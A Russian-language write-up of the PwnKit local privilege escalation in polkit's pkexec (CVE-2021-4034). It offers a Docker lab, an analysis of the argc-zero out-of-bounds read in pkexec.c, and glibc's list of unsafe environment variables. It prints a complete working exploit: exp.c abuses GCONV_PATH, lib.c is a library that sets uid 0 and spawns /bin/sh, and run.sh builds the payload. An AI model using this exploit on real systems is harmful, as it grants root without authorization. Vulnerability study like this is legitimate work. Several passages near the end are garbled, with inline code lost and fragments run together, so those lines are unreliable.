
Подробное описание и эксплойт для доказательства концепции для CVE-2021-4034 (PolKit pkexec локальное повышение привилегий), включая среду лаборатории Docker для практического анализа и отладки.
[toc]
Идентификатор уязвимости: CVE-2021-4034
Оценка уязвимости:
Продукт: linux PolKit (pkexec)
Затрагиваемые версии: версии с 2009 года по настоящее время (текущая 0.105) Ссылка: http://its.dlut.edu.cn/info/1054/78309.htm
Условия эксплуатации: локальный доступ в Linux; pkexec — SUID-файл с правами на выполнение
Получение исходного кода: apt source policykit-1
или https://launchpad.net/ubuntu/bionic/+package/policykit-1
Среда Docker: chenaotian/cve-2021-4034
Мой собственный Docker-образ предоставляет:
pkexec, скомпилированный с возможностью отладки по исходному кодуВсё находится в каталоге /root/:

Запуск Docker:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
Тестирование эксплойта:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
Уязвимость затрагивает команду pkexec из пакета polkit. pkexec похож на sudo — это инструмент, позволяющий выполнять команды от имени другого пользователя (обычно root). С помощью команды dpkg можно узнать, к какому пакету принадлежит pkexec:
dpkg -S /usr/bin/pkexec

Затем можно получить исходный пакет (он также есть в моём Docker-образе) и скомпилировать отладочную версию для удобства анализа.
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
* 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //获取执行命令具体字符串
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
//该函数会根据PATH环境变量寻找要执行命令的绝对地址
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
}
··· ···
··· ···
Анализ на основе комментариев в коде:
pkexec).--, он считается командой для выполнения. Цикл прерывается, и выполняется дальнейшая логика.g_find_program_in_path, которая ищет абсолютный путь к команде в переменной PATH. Например, для cat вернёт /bin/cat.Всё понятно, но проблема в следующем:
При запуске двоичного файла Linux аргументы командной строки argv[] и переменные окружения environ[] помещаются в нижнюю часть стека, причём они расположены последовательно. Последний элемент argv[] равен null.

Если pkexec запускается из командной строки без дополнительных аргументов, то argv[0] равен "pkexec", а argv[1] равен \x00. Всё нормально. Но если pkexec запускается с помощью execve без дополнительных аргументов, то argv[0] равен \x00, и указывает на первую переменную окружения! При чтении происходит выход за границы массива — читается .
К чему это приводит? Когда execve запускается без аргументов, длина argv[] равна 0, и argv[1] указывает на environ[0]. Таким образом, описанная выше логика превращается в: взять значение первой переменной окружения и найти её абсолютный путь в PATH. Если найден, записать обратно в первую переменную окружения. Тогда способ эксплуатации выглядит следующим образом:
Сначала важно отметить, что pkexec — это привилегированный файл (suid):

Как использовать переменные окружения в привилегированном файле? Сначала разберём одну деталь:
Динамический компоновщик Linux ld-linux-x86-64.so.2 очищает конфиденциальные переменные окружения при выполнении привилегированной программы:
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //特权模式的情况下
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//循环将危险环境变量列表中的环境变量全部清空(unset)
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
Список опасных переменных окружения UNSECURE_ENVVARS определён следующим образом:
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
Когда программа обнаруживает, что является привилегированной (suid), она очищает эти переменные. Как видно, большинство из них относятся к серии LD_, которые могут указывать пути загрузки динамических библиотек. Это предотвращает загрузку suid-программой недоверенных .so через эти переменные, что могло бы привести к выполнению вредоносного кода и повышению привилегий.
В данном случае у нас есть одна возможность произвольной записи в переменные окружения. Наша идея эксплуатации — попытаться использовать что-то из тех переменных окружения, которые обычно не передаются suid-программам.
Поскольку PoC уже опубликован, теперь всё просто. В данном случае использован PoC от arthepsy. Содержание простое, но из этого PoC видно, что ключевая переменная окружения — GCONV_PATH. Она действительно входит в список опасных переменных, и даже стоит первой!
Функция
iconv_open()запрашивает дескриптор преобразования для преобразования последовательности символов из кодировкиfromcodeв кодировкуtcode. Дескриптор содержит состояние преобразования. Функцияiconv_open()сначала находит системный файлgconv-modules, который содержит пути к информации о наборах символов, хранящейся в файлах.so. Затем, следуя указаниямgconv-modules, она загружает соответствующий.soи выполняет конкретные действия. Если установлена переменная окруженияGCONV_PATH, тоiconv_open()будет искатьgconv-modulesпо пути, указанному вGCONV_PATH; остальное без изменений.
То есть переменная GCONV_PATH имеет функционал, аналогичный LD_LIBRARY_PATH: она указывает, где iconv_open() ищет файлы .so. Если мы сможем подделать GCONV_PATH, затем подделать gconv-modules и в конце подделать .so, то сможем загрузить произвольную библиотеку и выполнить произвольный код.
Общая идея:
Создать каталог с именем GCONV_PATH=..
В каталоге GCONV_PATH=. создать файл с именем pwnkitdir с правами на выполнение.
Создать каталог с именем pwnkitdir.
В каталоге pwnkitdir создать файл gconv-modules со следующим содержимым:
module UTF-8// PWNKIT// pwnkit 1
В каталог pwnkitdir поместить вредоносную библиотеку pwnkit.so, содержащую код получения оболочки.
Установить соответствующие переменные окружения:
pwnkitdirPATH=GCONV_PATH=.. Тогда функция g_find_program_in_path сформирует путь , который соответствует формату переменной окружения. При этом каталог существует, и файл тоже существует.После этого всё срабатывает. Конкретный эксплойт:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
Успешная эксплуатация:

Обновите до последней версии.
Раскрытие уязвимости: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
PoC от arthepsy: https://github.com/arthepsy/CVE-2021-4034
argv[1]argv[1]environ[0]При запуске pkexec из командной строки argc равно 1, argv[0] — путь к pkexec:

При запуске pkexec с помощью execve argc равно 0:

GCONV_PATH=./pwnkitdir./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT будет использоваться до вызова iconv_open для поиска .so в gconv-modules.SHELL=xxx также используется до вызова iconv_open.Запустить pkexec с помощью execve без аргументов, передав установленные выше переменные окружения.